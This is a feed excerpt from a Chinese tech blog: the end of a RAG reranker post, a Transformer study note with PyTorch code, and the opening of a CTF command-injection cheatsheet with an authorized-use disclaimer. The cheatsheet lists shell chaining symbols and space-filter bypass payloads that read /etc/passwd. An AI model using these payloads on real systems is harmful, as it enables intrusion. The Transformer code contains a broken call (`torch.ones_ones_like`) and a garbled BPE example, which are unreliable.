&lt;h3&gt;&lt;strong&gt;Cross-Encoder 的原理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;将 query 和候选段落拼接在一起输入 RoBERTa。对比 Bi-Encoder vs Cross-Encoder：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Bi-Encoder（粗排）&lt;/th&gt;
&lt;th&gt;Cross-Encoder（精排）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;输入&lt;/td&gt;
&lt;td&gt;query 和 doc 分别编码&lt;/td&gt;
&lt;td&gt;query 和 doc 拼接后一起编码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attention&lt;/td&gt;
&lt;td&gt;query 和 doc 不交互&lt;/td&gt;
&lt;td&gt;query 和 doc 充分交互&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;速度&lt;/td&gt;
&lt;td&gt;快（可预计算 doc 向量）&lt;/td&gt;
&lt;td&gt;慢（需要实时计算）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;精度&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;Rerank 模型推荐&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;代表模型&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;交叉编码 Cross-Encoder&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BAAI/bge-reranker-base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;挺好。慢了点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;交叉编码 Cross-Encoder&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cross-encoder/ms-marco-MiniLM-L6-v2&lt;/code&gt; (Sentence-Transformers)&lt;/td&gt;
&lt;td&gt;英文检索圈最常用 “万金油” 精排，推理只需 2–3 ms / 段落 (Hugging Face)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;交叉编码 Cross-Encoder&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gte-multilingual-reranker-base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;多语 + 中文官方精排，直接接 GTE embedding (Hugging Face)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Late-Interaction&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jina-colbert-v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ColBERT 结构，长文检索时精度 / 速度折中好 (Hugging Face)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;稀疏 / 混合&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SPLADE-v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;生成词项稀疏向量，可和稠密向量做 hybrid 检索 (GitHub)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;组合推荐&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;经典流水线：&lt;code&gt;BGE-base&lt;/code&gt; 检索 top 100 → &lt;code&gt;bge-reranker-base&lt;/code&gt; 精排&lt;/li&gt;
&lt;li&gt;多语场景：&lt;code&gt;gte-multilingual-base&lt;/code&gt; + &lt;code&gt;gte-multilingual-reranker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;GPU 紧张：&lt;code&gt;e5-small&lt;/code&gt; + &lt;code&gt;MiniLM-L6-cross-encoder&lt;/code&gt;（batch 推理）&lt;/li&gt;
&lt;li&gt;长文 / 8 K：&lt;code&gt;jina-embeddings-v2&lt;/code&gt; + &lt;code&gt;jina-colbert-v2&lt;/code&gt;，段内匹配更稳&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Rerank模型同样可以选择进行模型微调进行领域增强，和Embedding模型一样，这里不赘述了。&lt;/p&gt;
&lt;h1&gt;LLM输出&lt;/h1&gt;
&lt;p&gt;这里又要去谈多轮对话管理和系统设计了，这里就先提供一个架构，具体的等有空再写吧：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用户输入（第N轮）
↓
对话历史加载（前N-1轮）
↓
话题连续性检测
├─→ [话题切换] 清空历史，按单轮处理
└─→ [话题延续] 进入多轮处理流程
  ↓
  指代消解 + Query改写
  ↓
  检索（使用改写后的query）
  ↓
  生成答案（历史上下文 + 检索结果 + 当前query）
  ↓
  更新对话历史
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok，以上就是构建一个RAG系统的全部焚诀！&lt;/p&gt;
&lt;p&gt;&quot;RAG已死&quot;已经被念叨一年多了，不知道什么时候就真的会被out了，时代发展太快根本学不过来啊！&lt;/p&gt;
</content:encoded></item><item><title>Transformer学习笔记</title><link>https://whyulooksad.github.io/posts/transformer%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/transformer%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid><description>这段时间在找实习，想着把之前学的东西都系统地复习一遍，先从Transformer开始！</description><pubDate>Tue, 28 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这段时间在找实习，想着把之前学的东西都系统地复习一遍，先从Transformer开始！&lt;/p&gt;
&lt;h1&gt;Transformer概述&lt;/h1&gt;
&lt;p&gt;2017 年，Google 在论文《 Attention is All you need 》中提出了 Transformer 模型，其使用 Self-Attention 结构取代了在 NLP  任务中常用的 RNN 网络结构。相比 RNN 网络结构，其最大的优点是可以&lt;strong&gt;并行计算&lt;/strong&gt;和&lt;strong&gt;长距离信息捕捉&lt;/strong&gt;。Transformer 的整体模型架构如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415025317216.png&quot; alt=&quot;3c318ffbcd1b73c48c8bd433d479b9a7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目前这种 Encode-Decode 的 Transformer架构已经不常见了，主流的模型如 GPT 使用的是 Decode-only 架构，Bert 使用的是 Encode-only 架构。&lt;/p&gt;
&lt;p&gt;我们可以把 Transformer 简单理解为一个函数，输入一个序列，预测下一个token是什么。先来了解一下它由哪些部分组成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输入&lt;/strong&gt;：Embedding  &amp;amp; 位置编码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;编码器/解码器&lt;/strong&gt;：Attention机制 &amp;amp; LayerNorm &amp;amp; 残差连接   →  FFN &amp;amp; 残差连接&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：Liner层 &amp;amp; Softmax层&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;输入：Embedding  &amp;amp; 位置编码&lt;/h1&gt;
&lt;h2&gt;&lt;strong&gt;Transformer 推理第一步：文本embedding&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;原始输入文本 → 分词处理（Tokenization）→ 得到 token 序列 → 词汇表映射（Vocabulary Mapping） →  得到 token ID 序列 → 嵌入层（Embedding Layer）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415030108238.png&quot; alt=&quot;image-20260415030108049&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为 Transformer 自注意力是并行、无序的，而不是像 RNN 一样串行处理数据序列，所以必须引入外部位置编码来补全顺序。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Transformer 推理第二步：添加位置编码&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;词嵌入矩阵 → 位置编码生成（Positional Encoding）→ 词嵌入矩阵＋位置编码 → 带位置信息的输入表示矩阵&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415030140011.png&quot; alt=&quot;image-20260415030139893&quot; /&gt;&lt;/p&gt;
&lt;p&gt;RoPE 的本质是：利用复数乘法的几何意义（模长相乘、角度相加），不改变向量长度，只通过旋转向量的角度来注入位置信息。 当带角度的 &lt;em&gt;Q&lt;/em&gt; 和 &lt;em&gt;K&lt;/em&gt; 进行内积时，结果刚好只与它们的相对位置差有关。&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;编码器/解码器&lt;/strong&gt;：Attention机制 &amp;amp; LayerNorm &amp;amp; 残差连接&lt;/h1&gt;
&lt;p&gt;Attention机制概括来说就是：考虑别的token对当前token在语义空间中的影响，让它能够非常准确的用高纬度的向量表达语义特征。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Transformer 推理第三步：多头自注意力机制&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;线性变换生成Query、Key、Value矩阵 → 计算注意力得分（Attention Scores） → 得到注意力得分矩阵 → Softmax归一化＋加权求和 → 多头并行处理 → 输出上下文感知的表示矩阵&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415030224307.png&quot; alt=&quot;image-20260415030224180&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415030310502.png&quot; alt=&quot;&quot; /&gt;多头机制的本质是:与其用一个高维的注意力头去捕捉所有语义，不如把维度切分成h个低维的”子头”(Head)，让不同的头去关注不同的特征子空间(比如有的头关注语法，有的头关注指代关系)，最后再拼起来。&lt;/p&gt;
&lt;p&gt;多头注意力机制计算公式如下：
$$
\mathrm{MultiHead}(Q, K, V) = \mathrm{Concat}(\mathrm{head}_1, \dots, \mathrm{head}_h) W^O
$$
其中，每一个head的计算方式为：
$$
\mathrm{head}_i = \mathrm{Attention}(Q_i, K_i, V_i) = \mathrm{softmax}\left( \frac{Q_i K_i^\top}{\sqrt{d_k}} \right) V_i
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Concat：把所有头计算出的结果在特征维度上拼接起来，恢复成原来的维度。&lt;/li&gt;
&lt;li&gt;&lt;em&gt;WO&lt;/em&gt;：最后的线性投影矩阵。因为多个头是独立计算的，拼接后需要经过一次线性变换混合各个头的信息，输出最终结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Transformer 推理第四步：LayerNorm &amp;amp; 残差连接&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;LayerNorm即Layer Normalization，是 Transformer中的层归一化，主要是为了稳定训练过程，防止梯度爆炸或消失。在《 Attention is All you need 》中位于残差连接之后，前馈网络之前。但在现如今大多位于残差连接之前。&lt;/p&gt;
&lt;p&gt;先说一下残差连接，首次在《Deep Residual Learning for Image Recognition》中被提出，这篇论文是目前ai领域引用最高的论文。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415030408236.png&quot; alt=&quot;image-20260415030408099&quot; /&gt;&lt;/p&gt;
&lt;p&gt;残差连接的核心思想是将输入直接“跳过&quot;子层加到输出上。也就是说遇到训练后效果下降的子层，会直接赋予一个很低的权重，将这个子层带来的训练效果的影响降到很低，从而选择性地保留训练效果好的子层。残差连接解决了深层网络训练困难，网络更深性能反而下降的问题。&lt;/p&gt;
&lt;p&gt;然后是LayerNorm：&lt;/p&gt;
&lt;p&gt;输入矩阵（经过注意力或者经过注意力和残差连接）→ 计算均值 → 计算标准差 → 标准化 → 缩放和平移 → 得到归一化后的矩阵。&lt;/p&gt;
&lt;p&gt;就是正常的归一化过程，没什么好多说的。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Transformer 推理第五步：FFN &amp;amp; 残差连接&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;引入前馈神经网络是为了通过非线性变换增加模型的表达能力。&lt;/p&gt;
&lt;p&gt;FFN的处理过程：&lt;/p&gt;
&lt;p&gt;输入矩阵 → 线性层1（升维）→ 激活函数 → 线性层2（降维）→ 残差连接 → 最终输出&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260415030441966.png&quot; alt=&quot;image-20260415030441839&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;输出&lt;/strong&gt;：Liner层 &amp;amp; Softmax层&lt;/h1&gt;
&lt;h2&gt;&lt;strong&gt;Transformer 推理第六步：Liner层 &amp;amp; Softmax层&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;解码器栈的输出是一个 float 向量。怎么把这个向量转换为一个词呢？通过一个线性层再加上一个 Softmax 层实现。&lt;/p&gt;
&lt;p&gt;线性层是一个简单的全连接神经网络，其将解码器栈的输出向量映射到一个更长的向量，这个向量被称为 logits 向量。&lt;/p&gt;
&lt;p&gt;现在假设我们的模型有 10000 个英文单词（模型的输出词汇表）。因此 logits 向量有 10000 个数字，每个数表示一个单词的分数。然后，Softmax 层会把这些分数转换为概率（把所有的分数转换为正数，并且加起来等于 1）。最后选择最高概率所对应的单词，作为这个时间步的输出。&lt;/p&gt;
&lt;h1&gt;手撕Transformer&lt;/h1&gt;
&lt;p&gt;前面我们理清了整个 Transformer 的推理流，现在来看看整个 Transformer 的代码是什么样的&lt;/p&gt;
&lt;p&gt;我们将依次实现：&lt;strong&gt;Token Embedding&lt;/strong&gt;、&lt;strong&gt;RoPE (旋转位置编码)&lt;/strong&gt;、&lt;strong&gt;Multi-Head Attention&lt;/strong&gt;、&lt;strong&gt;Feed Forward Network (FFN)&lt;/strong&gt;，最后把它们组装成一个完整的 &lt;strong&gt;Transformer Block&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;1. Token Embedding&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import torch
import torch.nn as nn
import math
import torch.nn.functional as F

class TokenEmbedding(nn.Module):
    def __init__(self, vocab_size, d_model):
        super().__init__()
        self.embedding = nn.Embedding(vocab_size, d_model)
        self.d_model = d_model

    def forward(self, x):
        # Embedding 结果需要乘以 sqrt(d_model) 进行放大
        # 目的：避免后续加上位置编码时，词向量自身的特征方差过小被位置编码淹没
        return self.embedding(x) * math.sqrt(self.d_model)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. 旋转位置编码 (RoPE)&lt;/h2&gt;
&lt;p&gt;现代大模型的标配，利用复数乘法在 Attention 计算时注入相对位置信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def precompute_freqs_cis(dim: int, end: int, theta: float = 10000.0):
    &quot;&quot;&quot;预计算复数频率&quot;&quot;&quot;
    freqs = 1.0 / (theta ** (torch.arange(0, dim, 2)[: (dim // 2)].float() / dim))
    t = torch.arange(end, device=freqs.device, dtype=torch.float32)
    freqs = torch.outer(t, freqs).float()
    # 转换为复数张量 e^(ix) = cos(x) + i*sin(x)
    freqs_cis = torch.polar(torch.ones_ones_like(freqs), freqs)
    return freqs_cis

def apply_rotary_emb(xq: torch.Tensor, xk: torch.Tensor, freqs_cis: torch.Tensor):
    &quot;&quot;&quot;应用旋转位置编码到 Q 和 K&quot;&quot;&quot;
    # 把最后两维转为复数
    xq_ = torch.view_as_complex(xq.float().reshape(*xq.shape[:-1], -1, 2))
    xk_ = torch.view_as_complex(xk.float().reshape(*xk.shape[:-1], -1, 2))
    
    # 调整 freqs_cis 形状以支持广播
    freqs_cis = freqs_cis.view(1, xq_.shape[1], 1, xq_.shape[-1])
    
    # 复数乘法完成旋转
    xq_out = xq_ * freqs_cis
    xk_out = xk_ * freqs_cis
    
    # 转回实数并展平
    xq_out = torch.view_as_real(xq_out).flatten(3)
    xk_out = torch.view_as_real(xk_out).flatten(3)
    return xq_out.type_as(xq), xk_out.type_as(xk)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. 多头自注意力 (Multi-Head Attention)&lt;/h2&gt;
&lt;p&gt;多头注意力的核心在于利用 &lt;code&gt;view&lt;/code&gt; 和 &lt;code&gt;transpose&lt;/code&gt; 对矩阵进行拆分和重排，使得各个“头”可以并行计算 Attention 分数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class MultiHeadAttention(nn.Module):
    def __init__(self, d_model, num_heads):
        super().__init__()
        assert d_model % num_heads == 0, &quot;d_model 必须能被 num_heads 整除&quot;
        
        self.num_heads = num_heads
        self.d_model = d_model
        self.head_dim = d_model // num_heads
        
        # 线性映射层：生成 Q, K, V
        self.wq = nn.Linear(d_model, d_model, bias=False)
        self.wk = nn.Linear(d_model, d_model, bias=False)
        self.wv = nn.Linear(d_model, d_model, bias=False)
        
        # 输出映射层
        self.wo = nn.Linear(d_model, d_model, bias=False)

    def forward(self, x, freqs_cis=None, mask=None):
        batch_size, seq_len, _ = x.shape
        
        # 1. 线性映射并拆分为多头
        # 形状变化: (bs, seq_len, d_model) -&amp;gt; (bs, seq_len, num_heads, head_dim)
        Q = self.wq(x).view(batch_size, seq_len, self.num_heads, self.head_dim)
        K = self.wk(x).view(batch_size, seq_len, self.num_heads, self.head_dim)
        V = self.wv(x).view(batch_size, seq_len, self.num_heads, self.head_dim)
        
        # 2. 如果提供了 RoPE 的复数频率，就在这里旋转 Q 和 K
        if freqs_cis is not None:
            Q, K = apply_rotary_emb(Q, K, freqs_cis)
            
        # 3. 维度重排，准备计算 Attention
        # 形状变化: (bs, num_heads, seq_len, head_dim)
        Q = Q.transpose(1, 2)
        K = K.transpose(1, 2)
        V = V.transpose(1, 2)
        
        # 4. 计算 Attention Score: Q * K^T / sqrt(d_k)
        # K.transpose(-2, -1) 把最后两维转置
        scores = torch.matmul(Q, K.transpose(-2, -1)) / math.sqrt(self.head_dim)
        
        # 5. (可选) 加入 Mask，比如在 Decoder 中防止看到未来信息
        if mask is not None:
            scores = scores.masked_fill(mask == 0, -1e9)
            
        # 6. Softmax 归一化并乘以 V
        attn_weights = F.softmax(scores, dim=-1)
        # out 形状: (bs, num_heads, seq_len, head_dim)
        out = torch.matmul(attn_weights, V)
        
        # 7. 拼接所有头 (Concat)
        # 形状恢复: (bs, seq_len, d_model)
        out = out.transpose(1, 2).contiguous().view(batch_size, seq_len, self.d_model)
        
        # 8. 最后经过一次线性投影
        return self.wo(out)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. 前馈神经网络 (FFN)&lt;/h2&gt;
&lt;p&gt;通常是先将维度放大 4 倍提取非线性特征，再压缩回原来的维度。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class FeedForward(nn.Module):
    def __init__(self, d_model, hidden_dim=None):
        super().__init__()
        if hidden_dim is None:
            hidden_dim = d_model * 4
            
        self.w1 = nn.Linear(d_model, hidden_dim)
        self.w2 = nn.Linear(hidden_dim, d_model)
        # 激活函数这里用经典的 ReLU，大模型常换成 GeLU 或 SwiGLU
        self.act = nn.ReLU()

    def forward(self, x):
        return self.w2(self.act(self.w1(x)))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. 组装：完整的 Transformer Block (Pre-LN 架构)&lt;/h2&gt;
&lt;p&gt;我们采用现代大模型主流的 &lt;strong&gt;Pre-LN（先归一化再进入网络）&lt;/strong&gt; 结构，把上述组件拼装起来。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class TransformerBlock(nn.Module):
    def __init__(self, d_model, num_heads):
        super().__init__()
        self.attention = MultiHeadAttention(d_model, num_heads)
        self.ffn = FeedForward(d_model)
        
        # 定义两个 LayerNorm 层
        self.norm1 = nn.LayerNorm(d_model)
        self.norm2 = nn.LayerNorm(d_model)

    def forward(self, x, freqs_cis=None, mask=None):
        # Pre-LN 架构: x -&amp;gt; LN -&amp;gt; Attention -&amp;gt; Add(x)
        h = x + self.attention(self.norm1(x), freqs_cis, mask)
        
        # x -&amp;gt; LN -&amp;gt; FFN -&amp;gt; Add(x)
        out = h + self.ffn(self.norm2(h))
        return out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补一下分词器：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tokenization&lt;/strong&gt;：当前的 LLM 几乎清一色采用&lt;strong&gt;子词级&lt;/strong&gt;的分词算法，以在完整单词和单字符之间取得平衡。以下介绍几种常用算法及其原理。子词分词的共同思想是:将词汇拆解为频繁出现的子单元，从而压缩序列长度并缓解未登录词问题，同时控制词表规模。&lt;/p&gt;
&lt;p&gt;字节对编码(BPE)
BPE 从初始字符集开始，迭代将文本中最频繁的相邻符号对合并为新符号，重复该过程直到达到预定词汇大小。例如，“hello”最初分成字母h、e、l、l、 o，BPE 可能先合并频繁的he和1o成新符号，得到he 1 1o，进一步合并得到hel 1o，乃至最终整体作为hello一个词元。现代LLM常用一种变体称为&lt;strong&gt;字节级BPE&lt;/strong&gt;。它以256个字节作为基本单元，确保任何Unicode文本都能表示。具体做法是将输入文本的每个字符拆解为UTF-8字节序列(例如，汉字“中”可能表示为3个字节 &lt;code&gt;\xE4\xB8\xAD&lt;/code&gt;，而英文字母‘A’则是单个字节 &lt;code&gt;\x41&lt;/code&gt;)，然后对字节序列执行BPE合并。这使得初始词表固定为256个符号(对应单字节的所有可能取值)，无需预先收集全部字符。&lt;/p&gt;
&lt;p&gt;WordPiece 词片段算法
WordPiece 是另一种广泛使用的子词分词算法，被BERT等模型采用。它与BPE的过程相似，也是从字符集出发迭代合并符号，但选择何种符号对进行合并的策略略有不同。具体而言，WordPiece 并不总选择全局频次最高的符号对合并，而是评估合并后对语言模型整体概率的提升，选择**能最大化似然(或互信息)**的合并对。直观来说，WordPiece在执行合并时会考虑若两个符号经常一起出现且单独出现时反而少见,则更有价值将它们合并。例如,假设合并 play 和 ##ing (##表示非词首)能显著提高语料的整体概率，那么这个合并就会被优先选择。这种基于统计互信息的准则可以避免某些高频但意义松散的拼接，理论上产生更有信息量的子词单元。不过总体而言，WordPiece与BPE的效果和产生的词表相近，二者都是通过固定数量的合并操作来生成子词词汇。&lt;/p&gt;
</content:encoded></item><item><title>命令注入与拼接技巧速查</title><link>https://whyulooksad.github.io/posts/command-injection-cheatsheet/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/command-injection-cheatsheet/</guid><description>CTF Web 命令注入常用拼接符、绕过技巧与实战 payload 汇总</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;所有内容仅用于合法授权的安全研究与学习&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、基础拼接符号&lt;/h2&gt;
&lt;h3&gt;1.1 Linux / Bash&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;行为&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;分号&lt;/td&gt;
&lt;td&gt;顺序执行，不管前命令是否成功&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 ; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;逻辑与&lt;/td&gt;
&lt;td&gt;前成功（返回0）才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp;&amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;逻辑或&lt;/td&gt;
&lt;td&gt;前失败（非0）才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 || cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;管道&lt;/td&gt;
&lt;td&gt;前的 stdout 作为后的 stdin&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 | cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;后台&lt;/td&gt;
&lt;td&gt;前台启动后台进程，同时继续执行&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\n&lt;/code&gt; / &lt;code&gt;%0a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;换行符&lt;/td&gt;
&lt;td&gt;等同于 &lt;code&gt;;&lt;/code&gt;，URL编码场景常用&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1%0acmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\r\n&lt;/code&gt; / &lt;code&gt;%0d%0a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;回车换行&lt;/td&gt;
&lt;td&gt;Windows/HTTP 场景下的换行&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1%0d%0acmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1.2 Windows CMD&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;行为&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;顺序执行&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;前成功才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 &amp;amp;&amp;amp; cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;前失败才执行后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 || cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;管道&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1 | cmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%0a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;URL编码换行（适用于HTTP参数传入cmd.exe的场景）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmd1%0acmd2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1.3 PowerShell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cmd1 ; cmd2          # 顺序执行
cmd1 &amp;amp;&amp;amp; cmd2         # 前成功才执行（PS 7+）
cmd1 || cmd2         # 前失败才执行（PS 7+）
cmd1 | cmd2          # 管道
cmd1 &amp;amp; { cmd2 }      # 调用运算符
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、命令替换（Linux）&lt;/h2&gt;
&lt;p&gt;命令替换用于将一个命令的输出嵌入另一个命令中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 反引号（旧式写法）
echo `whoami`
echo `cat /etc/passwd`

# $() 写法（推荐，可嵌套）
echo $(whoami)
echo $(cat /etc/passwd)

# 嵌套使用
echo $(echo $(id))

# 在赋值中使用
x=$(id); echo $x
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、空格绕过技巧&lt;/h2&gt;
&lt;p&gt;当应用过滤了空格字符时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ${IFS} — 内部字段分隔符，默认含空格/tab/换行
cat${IFS}/etc/passwd
cat${IFS%?}/etc/passwd     # 去掉最后一个字符，还是空格

# $IFS$9 — 常用变体
cat$IFS$9/etc/passwd

# Tab 字符（%09）
cat%09/etc/passwd

# 花括号（Brace Expansion）
{cat,/etc/passwd}

# 重定向绕过
cat&amp;lt;/etc/passwd
cat&amp;lt;&amp;gt;/etc/passwd

# $&apos;\x20&apos; 表示空格的十六进制
X=$&apos;\x20&apos;; cat${X}/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、关键字过滤绕过&lt;/h2&gt;
